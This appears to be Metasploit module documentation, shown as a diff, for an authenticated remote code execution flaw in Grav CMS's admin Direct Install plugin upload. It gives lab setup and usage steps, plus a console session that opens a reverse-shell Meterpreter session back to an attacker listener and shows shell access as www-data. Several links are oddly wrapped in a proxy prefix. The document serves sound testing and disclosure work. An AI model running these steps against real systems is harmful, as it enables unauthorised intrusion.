|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +Grav is a modern, open source flat-file content management system (CMS) built on PHP. |
| 4 | +It uses a file-based architecture instead of a traditional database, storing content and configuration directly on disk. |
| 5 | + |
| 6 | +This module exploits an authenticated Remote Code Execution vulnerability |
| 7 | +in Grav CMS via the Admin panel’s Direct Install plugin functionality, |
| 8 | +allowing arbitrary PHP execution. |
| 9 | + |
| 10 | +An authenticated administrative user can upload a crafted plugin ZIP archive containing arbitrary PHP code. |
| 11 | +Upon installation, the archive is extracted into the following directory: |
| 12 | + |
| 13 | +```sh |
| 14 | +user/plugins/<plugin_name>plugin/<plugin_name>plugin.php |
| 15 | +``` |
| 16 | + |
| 17 | +Grav automatically loads plugin PHP files during initialization. |
| 18 | +As a result, the malicious PHP file is executed in the context of the web server user |
| 19 | +(typically `www-data`), leading to remote code execution. |
| 20 | + |
| 21 | +No additional sandboxing or content validation is applied to plugin PHP files during the Direct Install workflow, |
| 22 | +making this functionality inherently dangerous when access control boundaries are crossed. |
| 23 | + |
| 24 | +## Affected Versions |
| 25 | + |
| 26 | +**Vulnerable:** Grav CMS `1.1.x` -> `1.7.x` versions / Admin Plugin `v1.2.x` -> `v1.10.x` |
| 27 | +**Tested:** Grav CMS v1.7.48, v1.7.49.5 / Admin Plugin v1.10.48, v1.10.49.3 |
| 28 | + |
| 29 | +### Installation |
| 30 | + |
| 31 | +Official website: |
| 32 | +https://getgrav.org/ |
| 33 | + |
| 34 | +Direct download archive (example version tested): |
| 35 | +https://github.com/getgrav/grav/releases/tag/1.7.48 |
| 36 | + |
| 37 | +1. Install dependencies: |
| 38 | + |
| 39 | +```sh |
| 40 | +sudo apt update |
| 41 | +sudo apt install apache2 php php-cli php-zip php-curl unzip -y |
| 42 | +``` |
| 43 | + |
| 44 | +2. Download Grav: |
| 45 | + |
| 46 | +``` sh |
| 47 | +wget https://github.com/getgrav/grav/releases/download/1.7.48/grav-admin-v1.7.48.zip |
| 48 | +unzip grav-admin-v1.7.48.zip |
| 49 | +sudo mv grav-admin /var/www/html/grav |
| 50 | +sudo chown -R www-data:www-data /var/www/html/grav |
| 51 | +``` |
| 52 | + |
| 53 | +3. Visit the below and create an administrative user during setup. |
| 54 | + |
| 55 | +```sh |
| 56 | +http://<target>/grav/admin |
| 57 | +``` |
| 58 | + |
| 59 | +4. Ensure: |
| 60 | + |
| 61 | +- Admin plugin is enabled |
| 62 | +- Direct Install functionality is available |
| 63 | + |
| 64 | +## Verification Steps |
| 65 | + |
| 66 | +1. Install Grav CMS with Admin plugin enabled as mentioned above. |
| 67 | +2. Create an administrative user. |
| 68 | +3. Start `msfconsole`. |
| 69 | +4. Do: `use exploit/multi/http/grav_admin_direct_install_rce_cve_2025_50286` |
| 70 | +5. Do: `set RHOSTS [target]` |
| 71 | +6. Do: `set RPORT [Port]` |
| 72 | +7. Do: `set USERNAME [username]` |
| 73 | +8. Do: `set PASSWORD [password]` |
| 74 | +9. Do: `check` |
| 75 | +10. You should see the target is vulnerable |
| 76 | + |
| 77 | +## Options |
| 78 | + |
| 79 | +### USERNAME |
| 80 | + |
| 81 | +Valid administrative username. `Required.` |
| 82 | + |
| 83 | +### PASSWORD |
| 84 | + |
| 85 | +Valid administrative password. `Required.` |
| 86 | + |
| 87 | +## Scenarios |
| 88 | +### Version Tested |
| 89 | + |
| 90 | +Grav CMS: 1.7.48/1.7.49.5 |
| 91 | +Admin Plugin: 1.10.48/1.10.49.3 |
| 92 | +PHP: 8.1 |
| 93 | +Web Server: Apache 2.4 |
| 94 | + |
| 95 | +### Example: Exploiting Grav CMS v1.7.48 to get Meterpreter |
| 96 | + |
| 97 | +```msf6 |
| 98 | +msf6 > use exploit/multi/http/grav_admin_direct_install_rce_cve_2025_50286 |
| 99 | +msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set rhosts 192.168.1.12 |
| 100 | +rhosts => 192.168.1.12 |
| 101 | +msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set rport 8080 |
| 102 | +rport => 8080 |
| 103 | +msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set username x1o3 |
| 104 | +username => x1o3 |
| 105 | +msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set password Real_Pass123 |
| 106 | +password => Real_Pass123 |
| 107 | +msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > set lhost 172.17.0.1 |
| 108 | +lhost => 172.17.0.1 |
| 109 | +msf6 exploit(multi/http/grav_admin_direct_install_rce_cve_2025_50286) > run |
| 110 | +[*] Started reverse TCP handler on 172.17.0.1:4444 |
| 111 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 112 | +[+] The target appears to be vulnerable. |
| 113 | + - Grav CMS 1.7.49.5 is vulnerable |
| 114 | + - Admin Plugin v1.10.49.3 is vulnerable |
| 115 | +[*] Authenticating to Grav admin... |
| 116 | +[*] Authenticating... |
| 117 | +[+] Already authenticated |
| 118 | +[*] Uploading plugin via Direct Install... |
| 119 | +[*] Sending stage (40004 bytes) to 172.18.0.2 |
| 120 | +[*] Cleaning up plugin directory: user/plugins/g02omdfkh89ki8zruwplugin |
| 121 | +[+] Plugin directory removed |
| 122 | +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.2:52520) at 2026-03-27 11:42:25 +0530 |
| 123 | +
|
| 124 | +meterpreter > shell |
| 125 | +Process 25 created. |
| 126 | +Channel 0 created. |
| 127 | +id |
| 128 | +uid=33(www-data) gid=33(www-data) groups=33(www-data) |
| 129 | +``` |
| 130 | + |
| 131 | +--- |
| 132 | + |
0 commit comments